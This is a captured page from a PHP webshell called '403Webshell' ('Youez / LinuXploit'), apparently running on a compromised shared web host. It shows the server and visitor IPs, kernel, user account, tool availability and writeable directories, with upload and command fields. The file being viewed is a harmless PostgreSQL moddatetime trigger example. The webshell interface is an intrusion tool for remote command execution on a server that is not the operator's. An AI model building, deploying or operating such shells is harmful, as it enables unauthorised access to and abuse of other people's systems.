403Webshell
Server IP : 185.216.8.13  /  Your IP : 216.73.216.159
Web Server : Apache
System : Linux webhost-vie2.sitetide.com 4.18.0-553.156.1.el8_10.x86_64 #1 SMP Mon Aug 17 17:52:57 UTC 2026 x86_64
User : medicalkn ( 9986)
PHP Version : 8.2.33
Disable Function : syslog
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/self/root/usr/pgsql-17/doc/extension/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/usr/pgsql-17/doc/extension/moddatetime.example
DROP TABLE mdt;

CREATE TABLE mdt (
	id		int4,
	idesc		text,
	moddate timestamp DEFAULT CURRENT_TIMESTAMP NOT NULL
);

CREATE TRIGGER mdt_moddatetime
	BEFORE UPDATE ON mdt
	FOR EACH ROW
	EXECUTE PROCEDURE moddatetime (moddate);

INSERT INTO mdt VALUES (1, 'first');
INSERT INTO mdt VALUES (2, 'second');
INSERT INTO mdt VALUES (3, 'third');

SELECT * FROM mdt;

UPDATE mdt SET id = 4
	WHERE id = 1;
UPDATE mdt SET id = 5
	WHERE id = 2;
UPDATE mdt SET id = 6
	WHERE id = 3;

SELECT * FROM mdt;

Youez - 2016 - github.com/yon3zu
LinuXploit